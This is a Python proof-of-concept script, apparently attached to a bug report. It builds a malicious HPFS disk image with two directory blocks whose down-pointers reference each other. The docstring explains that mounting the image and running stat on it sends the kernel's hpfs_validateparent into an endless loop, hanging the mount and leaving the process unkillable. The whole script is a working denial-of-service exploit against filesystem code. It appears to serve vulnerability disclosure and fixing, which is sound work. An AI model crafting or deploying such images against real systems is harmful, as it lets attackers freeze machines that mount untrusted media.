#!/usr/bin/env python3
"""
DF-3143 -- hpfs_validateparent (sys/vfs/hpfs/hpfs_subr.c:522-650) has no
depth bound and no cycle guard on the B-tree dive:

    while(!(dep->de_flag & DE_END)) {          :598
        if(dep->de_flag & DE_DOWN) { lsn = DE_DOWNLSN(dep); level++; goto dive; }  :599-602
    ...
    if(dep->de_flag & DE_DOWN) { lsn = DE_DOWNLSN(dep); level++; goto dive; }      :613-617

DE_DOWNLSN is a raw on-disk LSN (hpfs.h:114).  Two dirblks whose END
entries point at each other => infinite bread/dive loop holding the vnode
locks -> unkillable process, permanent mount hang.

Image: root fnode 0x20 (dir, leaf -> dirblk A @0x40).  A's single dirent
has flag DE_END|DE_DOWN with down-LSN 0x60 (B); B's single dirent has
DE_END|DE_DOWN with down-LSN 0x40 (A).  `stat <mountpoint>` ->
VOP_GETATTR on the root -> H_PARVALID clear -> hpfs_validateparent ->
dive A -> dive B -> dive A -> ... forever.

usage: craft_img.py <out.img>
"""
import struct, sys

SECTOR = 512
IMGSEC = 0x1000
SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE
DE_DOWN, DE_END = 0x0004, 0x0008

FN_OFF_MAGIC, FN_OFF_NAMELEN, FN_OFF_NAME = 0x00, 0x10, 0x11
FN_OFF_PARENT, FN_OFF_FLAG, FN_OFF_AB, FN_OFF_ABD, FN_OFF_SIZE = \
    0x20, 0x3B, 0x3C, 0x44, 0xA4
AB_OFF_FLAG, AB_OFF_FREECNT, AB_OFF_BUSYCNT, AB_OFF_FREEOFF = 0, 4, 5, 6


def build(outpath):
    img = bytearray(IMGSEC * SECTOR)
    def wr32(o, v): struct.pack_into('<I', img, o, v & 0xFFFFFFFF)
    def wr64(o, v): struct.pack_into('<Q', img, o, v & 0xFFFFFFFFFFFFFFFF)
    def wr16(o, v): struct.pack_into('<H', img, o, v & 0xFFFF)
    def wr8(o, v):  img[o] = v & 0xFF

    img[0] = 0xEB
    wr16(SECTOR - 2, 0xAA55)

    su = 0x10 * SECTOR
    wr64(su + 0, SU_MAGIC); wr8(su + 8, 2)
    wr32(su + 12, 0x20)
    wr32(su + 16, IMGSEC)
    wr32(su + 20, 0)
    wr32(su + 24, 0x30); wr32(su + 28, 0x30)
    wr64(0x11 * SECTOR, SP_MAGIC)
    wr32(0x30 * SECTOR, 0x38)          # bitmap all-busy

    rf = 0x20 * SECTOR
    wr32(rf + FN_OFF_MAGIC, FN_MAGIC)
    wr8(rf + FN_OFF_NAMELEN, 1); img[rf + FN_OFF_NAME] = ord('.')
    wr32(rf + FN_OFF_PARENT, 0x20)
    wr8(rf + FN_OFF_FLAG, 1)           # VDIR
    img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0
    img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7
    img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1
    wr16(rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12)
    wr32(rf + FN_OFF_ABD + 0, 0); wr32(rf + FN_OFF_ABD + 4, 1)
    wr32(rf + FN_OFF_ABD + 8, 0x40)    # root's first leaf -> dirblk A
    wr32(rf + FN_OFF_SIZE, 2048)

    # two mutually-diving dirblks; each has ONE dirent: DE_END|DE_DOWN,
    # down-LSN stored at dep + reclen - 4 (hpfs.h:114)
    for self_lsn, down_lsn in ((0x40, 0x60), (0x60, 0x40)):
        db = self_lsn * SECTOR
        wr32(db + 0, D_MAGIC)
        wr32(db + 4, 2048)             # d_freeoff (unused here)
        wr32(db + 8, 0)                # d_chcnt
        wr32(db + 12, 0x20)            # d_parent
        wr32(db + 16, self_lsn)        # d_self
        dep = db + 20
        reclen = 0x24                  # 36
        wr16(dep + 0, reclen)
        wr16(dep + 2, DE_END | DE_DOWN)
        wr32(dep + 4, 0x999)           # de_fnode (never matched)
        img[dep + 0x2E] = 0            # de_namelen
        wr32(dep + reclen - 4, down_lsn)   # DE_DOWNLSN -> the other block

    with open(outpath, 'wb') as f:
        f.write(img)
    print("wrote %s: cyclic dirblk pair 0x40 <-> 0x60 (DE_END|DE_DOWN)" % outpath)


if __name__ == '__main__':
    build(sys.argv[1])
